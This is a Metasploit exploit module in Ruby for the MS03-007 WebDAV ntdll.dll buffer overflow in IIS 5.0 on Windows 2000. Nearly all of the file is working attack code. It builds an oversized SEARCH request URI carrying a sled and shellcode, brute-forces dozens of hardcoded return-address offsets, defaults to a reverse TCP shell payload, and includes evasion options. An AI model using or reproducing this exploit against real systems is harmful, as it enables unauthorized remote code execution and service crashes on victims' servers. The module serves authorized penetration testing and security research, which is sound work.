##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
        'Description' => %q{
          This exploits a buffer overflow in NTDLL.dll on Windows 2000
          through the SEARCH WebDAV method in IIS. This particular
          module only works against Windows 2000. It should have a
          reasonable chance of success against SP0 to SP3.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2003-0109'],
          ['OSVDB', '4467'],
          ['BID', '7116'],
          ['PACKETSTORM', '30939'],
          ['MSB', 'MS03-007']
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Arch' => [ARCH_X86],
        'Targets' => [
          [ 'Automatic Brute Force', {} ],
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DisclosureDate' => '2003-05-30',
        'DefaultTarget' => 0
      )
    )

    register_evasion_options(
      [
        # XXX: We don't have a style for module-local evasion settings yet, so use Advanced's formatting
        OptBool.new('InvalidSearchRequest', [false, 'Replace the valid XML search with random data', false]),

        # XXX - ugh, there has to be a better way to remove entries from an
        # enum that overwriting the evalable enum option
        OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
      ], self.class
    )

    deregister_options('HTTP::junk_params', 'HTTP::header_folding')
  end

  def autofilter
    # Common vulnerability scanning tools report port 445/139
    # due to how they test for the vulnerability. Remap this
    # back to 80 for automated exploitation

    rport = datastore['RPORT'].to_i
    if (rport == 139 || rport == 445)
      datastore['RPORT'] = 80
    end

    true
  end

  def check
    # Verify the service is running first
    res = send_request_raw({ 'uri' => '/' }, 5)
    return CheckCode::Safe('Connection failed') unless res

    xml = "<?xml version=\"1.0\"?>\r\n"
    xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
    xml << "<g:sql>\r\n"
    xml << "Select \"DAV:displayname\" from scope()\r\n"
    xml << "</g:sql>\r\n"
    xml << "</g:searchrequest>\r\n"

    response = send_request_cgi({
      'uri' => "/#{'x' * 65535}",
      'ctype' => 'text/xml',
      'method' => 'SEARCH',
      'data' => xml
    }, 5)

    if response && response.body.to_s.include?('Server Error(exception')
      return CheckCode::Vulnerable("We've hit a server error (exception)")
    end

    # Request-URI Too Long
    if response && response.code == 414
      return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
    end

    # Did the server stop accepting requests?
    begin
      send_request_raw({ 'uri' => '/' }, 5)
    rescue StandardError
      return CheckCode::Appears('The server stopped accepting requests') unless res
    end

    CheckCode::Safe('Target does not appear to be vulnerable to WebDAV NTDLL overflow')
  end

  def exploit
    # Verify the service is running first
    res = send_request_raw({ 'uri' => '/' }, 5)
    fail_with(Failure::Unreachable, 'Connection failed') unless res

    # Common offsets
    common_offsets = [
      "\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
      "\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
      "\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
      "\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
      "\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
    ]

    # Generic Bruteforce - Windows 2000 Professional
    pro_offsets = [
      "\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
      "\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
      "\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
      "\x41\xab", # Windows 2000 Professional (SP1 AR)
      "\x41\xac", # Windows 2000 Professional (SP0 FI)
      "\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
      "\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
      "\x41\xaf",

      "\x41\xb0",
      "\x41\xb1", # Windows 2000 Professional (SP0 EN)
      "\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
      "\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
      "\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
      "\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
      "\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
      "\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
      "\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
      "\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
      "\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
      "\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
      "\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
      "\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
      "\x41\xbe", # Windows 2000 Professional (SP0 TR)
      "\x41\xbf", # Windows 2000 Professional (SP0 FI)
    ]

    # Generic Bruteforce - Windows 2000 Server
    server_offsets = [
      "\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
      "\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
      "\x4f\xc4", # Windows 2000 Server (SP2 EN)
      "\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
      "\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
      "\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
      "\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
      "\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
      "\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
      "\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
      "\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)

      "\x4f\x40",
      "\x4f\x41",
      "\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
      "\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
      "\x4f\x44",
      "\x4f\x45",
      "\x4f\x46",
      "\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
      "\x4f\x48",
      "\x4f\x49",
      "\x4f\x4a",
      "\x4f\x4b",
      "\x4f\x4c",
      "\x4f\x4d",
      "\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
      "\x4f\x4f",

      "\x41\x40",
      "\x41\x41",
      "\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
      "\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
      "\x41\x44",
      "\x41\x45",
      "\x41\x46",
      "\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
      "\x41\x48", # Windows 2000 Server (SP1 SE)
      "\x41\x49",
      "\x41\x4a",
      "\x41\x4b",
      "\x41\x4c",
      "\x41\x4d",
      "\x41\x4e",
      "\x41\x4f",

      "\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
      "\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
      "\x41\xc4", # Windows 2000 Server (SP2 EN)
      "\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
      "\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
      "\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
      "\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
      "\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
      "\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
      "\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
      "\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
      "\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
    ]

    if datastore['InvalidSearchRequest']
      xml = rand_text(32..1056)
    else
      xml = "<?xml version=\"1.0\"?>\r\n"
      xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
      xml << "<g:sql>\r\n"
      xml << "Select \"DAV:displayname\" from scope()\r\n"
      xml << "</g:sql>\r\n"
      xml << "</g:searchrequest>\r\n"
    end

    # The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
    # This decodes to "inc ecx"
    url = 'A' * (65_516 - payload.encoded.length)
    url << payload.encoded

    offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq

    offsets.each_with_index do |ret, index|
      print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
      url[283, 2] = ret

      begin
        send_request_cgi({
          'uri' => "/#{url}",
          'ctype' => 'text/xml',
          'method' => 'SEARCH',
          'data' => xml
        }, 5)
      rescue StandardError => e
        print_error("Attempt failed: #{e}")
      end

      1.upto(8) do |_i|
        select(nil, nil, nil, 0.25)
        break if session_created?
      end

      break if session_created?

      fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
    end
  end

  # Try connecting to the server up to 20 times, with a two second gap
  # This gives the server time to recover after a failed exploit attempt
  def service_running?
    print_status('Checking if IIS is back up after a failed attempt...')
    1.upto(20) do |i|
      break if session_created?

      return true if send_request_raw({ 'uri' => '/' }, 5)

      print_error("Connection failed (#{i} of 20)...")
      select(nil, nil, nil, 2)
    end
    false
  end
end
